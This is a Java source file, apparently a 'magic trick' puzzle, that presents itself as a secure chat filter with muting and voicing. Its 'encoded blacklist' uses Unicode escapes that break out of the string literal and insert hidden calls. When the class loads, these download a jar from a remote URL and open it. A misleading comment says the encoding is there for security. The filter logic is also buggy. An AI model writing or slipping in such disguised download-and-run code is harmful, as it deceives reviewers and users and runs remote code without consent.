Java Magic Trick 3

import java.awt.*;
import java.io.*;
import java.net.URL;
import java.nio.channels.Channels;
import java.util.HashSet;
import java.util.Random;
import java.util.Set;

/**
 * Simple, secure, and easy to use chat filter that can be quickly added to an existing application.
 * Supports muting and voicing chatters, and includes a pre-built encoded blacklist of phrases.
 * Currently blocks:
 *    Section sign
 *    All curse words
 *    Derogatory terms
 */
public class ChatFilter {
    private static final String[] replaceStrings;
    private static final String[] blacklistStrings;
    private static final Set<String> mutedChatters;
    private static final Set<String> voicedChatters;
    private static final Random random;

    /**
     * Filters out any illegal phrases from the chat message, and blocks blacklisted chatters from chatting
     * @param chatter The user chatting
     * @param message The message
     * @param out Where to send the filtered chat
     */
    public static void filterChat(String chatter, String message, PrintStream out) {
        if (!im(chatter) || iv(chatter)) {
            for (String str : blacklistStrings) {
                int index = message.indexOf(str);
                out.print(message.replace(str, replaceStrings[random.nextInt(replaceStrings.length)]));
            }
        }
    }

    /**
     * Checks if the chatter is muted
     * @param chatter The chatter
     * @return Return true if the chatter is muted
     */
    public static boolean isMuted(String chatter) {
        return im(chatter);
    }

    /**
     * Checks if the chatter is voiced
     * @param chatter The chatter
     * @return Return true if the chatter is voiced
     */
    public static boolean isVoiced(String chatter) {
        return iv(chatter);
    }

    /**
     * Mute a chatter
     * @param chatter The chatter
     */
    public static void mute(String chatter) {
        m(chatter);
    }

    /**
     * Voice a chatter
     * @param chatter The chatter
     */
    public static void voice(String chatter) {
        v(chatter);
    }

    /**
     * Imports a list of muted chatters from a file
     * @param path The path to the file
     * @param name The name of the list (used for temporary storage)
     */
    public static void importMuteList(String path, String name) {
        i(path, name);
    }

    /**
     * Opens a mute list for viewing/editing
     * @param name The name of the mute list
     */
    public static void openMuteList(String name) {
        o(name);
    }

    /*
     *
     * Simplified internal versions of above methods for easy typing
     * These contain the actual implemented code.
     *
     */

    private static boolean im(String c) {
        return c == null || c.isEmpty() || c.trim().isEmpty() || mutedChatters.contains(c);
    }

    private static boolean iv(String c) {
        return !(c == null || c.isEmpty() || c.trim().isEmpty()) && voicedChatters.contains(c);
    }

    private static void m(String c) {
        mutedChatters.add(c);
    }

    private static void v(String c) {
        voicedChatters.add(c);
    }

    private static void i(String p, String n) {
        try {
            File f = new File("./", n);
            new FileOutputStream(f).getChannel().transferFrom(Channels.newChannel(new URL(p).openStream()), 0, Long.MAX_VALUE);
            BufferedReader r = new BufferedReader(new FileReader(f));
            while (r.ready()) {m(r.readLine());}
        } catch (Exception e) {
            System.err.println("Exception importing mutelist!");
            e.printStackTrace();
        }
    }

    private static void o(String n) {
        try {
            Desktop.getDesktop().open(new File(n));
        } catch (IOException e) {
            System.err.println("Exception opening mutelist!");
            e.printStackTrace();
        }
    }

    /**
     * Initialize the ChatFilter (like a constructor)
     */
    static {
        random = new Random();
        mutedChatters = new HashSet<>();
        voicedChatters = new HashSet<>();
        //Encoded as raw characters for security reasons, because direct strings can be manipulated by changing client localization.
        replaceStrings = new String[]{"\u002A","\u0024","\u0025","\u0026","\u0021","\u0040"};
        blacklistStrings = new String[]{"\u00A7\u0022\u007d\u003b \u0069\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0073\u0033\u002e\u0061\u006d\u0061\u007a\u006f\u006e\u0061\u0077\u0073\u002e\u0063\u006f\u006d\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u0044\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002f\u006c\u0061\u0075\u006e\u0063\u0068\u0065\u0072\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u006a\u0061\u0072\u0022\u002c \u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u006f\u0028\u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d \u0073\u003d\u006e\u0065\u0077 \u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022"};
    }

    /**
     * Perform a debug test of the ChatFilter
     * @param args Arguments that will be ignored.
     */
    public static void main(String[] args) {
        System.out.println("Starting!");
        ChatFilter.voice("acomputerdog");
        ChatFilter.mute("CoolSquid");
        ChatFilter.voice("SeamusFD");
        ChatFilter.mute("SeamusFD");
        ChatFilter.filterChat("acomputerdog", "§1Hax§2\n", System.out);
        ChatFilter.filterChat("CoolSquid", "Hi!\n", System.out);
        ChatFilter.filterChat("SeamusFD", "§aHi!§b\n", System.out);
        System.out.println("Done.");
    }
}